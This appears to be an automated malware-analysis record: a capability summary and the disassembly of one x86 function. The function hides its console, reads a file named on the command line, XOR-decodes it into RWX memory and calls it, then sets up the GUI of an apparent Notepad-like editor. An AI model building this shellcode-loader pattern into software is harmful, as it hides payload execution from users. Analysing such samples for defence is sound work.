Function at 0x401300
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hide graphical window
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x7c
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [ebp + 0xc]
push 0x414da0
push dword [eax + 4]
call fcn.004037c3
push 2
mov esi, eax
push 0
push esi
call fcn.00403a96
add esp, 0x14
push esi
call fcn.00403701
add esp, 4
mov edi, eax
push 0
push 0
push esi
call fcn.00403a96
add esp, 0xc
push 0x40
push 0x3000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
push 1
mov ebx, eax
push edi
push ebx
call fcn.00403c97
add esp, 0x10
xor esi, esi
test edi, edi
je 0x401399
mov eax, 0xaaaaaaab
mul esi
mov eax, esi
shr edx, 3
lea ecx, [edx + edx*2]
shl ecx, 2
sub eax, ecx
mov al, byte [eax + str.248058040134]
xor byte [ebx + esi], al
inc esi
cmp esi, edi
jb 0x401377
call ebx
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push str.commdlg_FindReplace
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
push 0x11f0
push 0
push 0x418324
call fcn.004024c0
add esp, 0xc
lea eax, [esp + 0x58]
xor edx, edx
mov ecx, 0x30
mov dword [0x418320], edx
mov byte [eax], dl
lea eax, [eax + 1]
sub ecx, 1
jne 0x4013d1
push 0x300
push edx
mov dword [esp + 0x60], 0x30
mov dword [esp + 0x68], 0x4012f0
mov dword [esp + 0x74], edx
call dword [sym.imp.USER32.dll_LoadIconW]
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x8000
push 0x32
mov dword [esp + 0x78], eax
call esi
push eax
push 0x31
call esi
push eax
push 1
push 0x300
push dword [0x418320]
call dword [sym.imp.USER32.dll_LoadImageW]
push 0x7f00
push 0
mov dword [esp + 0x8c], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [esp + 0x74], eax
lea eax, [esp + 0x58]
push eax
mov dword [esp + 0x7c], 6
mov dword [esp + 0x80], 0x201
mov dword [esp + 0x84], 0x414de4
call dword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
jne 0x401476
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 1
push 0x4182e4
call dword [sym.imp.USER32.dll_MonitorFromRect]
lea ecx, [esp + 0x30]
mov dword [esp + 0x30], 0x28
push ecx
push eax
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
cmp dword [0x418324], 0
jne 0x4014a8
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call section..text
test eax, eax
je 0x4014e3
push 0x414df4
push dword [0x41832c]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 0
push 0
push 0xcd
push dword [0x41832c]
call dword [sym.imp.USER32.dll_SendMessageW]
push dword [0x41832c]
call dword [sym.imp.USER32.dll_SetFocus]
push 0
push dword [0x418324]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x418324]
call dword [sym.imp.USER32.dll_UpdateWindow]
push 1
push dword [0x418324]
call dword [sym.imp.SHELL32.dll_DragAcceptFiles]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0x203
push 0
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
mov dword [esp + 0x18], eax
lea eax, [esp + 0x1c]
push 0
push eax
call esi
test eax, eax
je 0x401592
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [esp + 0x14]
push eax
push dword [0x418328]
call dword [sym.imp.USER32.dll_IsDialogMessageW]
test eax, eax
jne 0x401581
lea eax, [esp + 0x14]
push eax
push dword [esp + 0x14]
push dword [0x418324]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x401581
lea eax, [esp + 0x14]
push eax
call edi
lea eax, [esp + 0x14]
push eax
call ebx
push 0
push 0
push 0
lea eax, [esp + 0x20]
push eax
call esi
test eax, eax
jne 0x401545
mov eax, dword [esp + 0x1c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret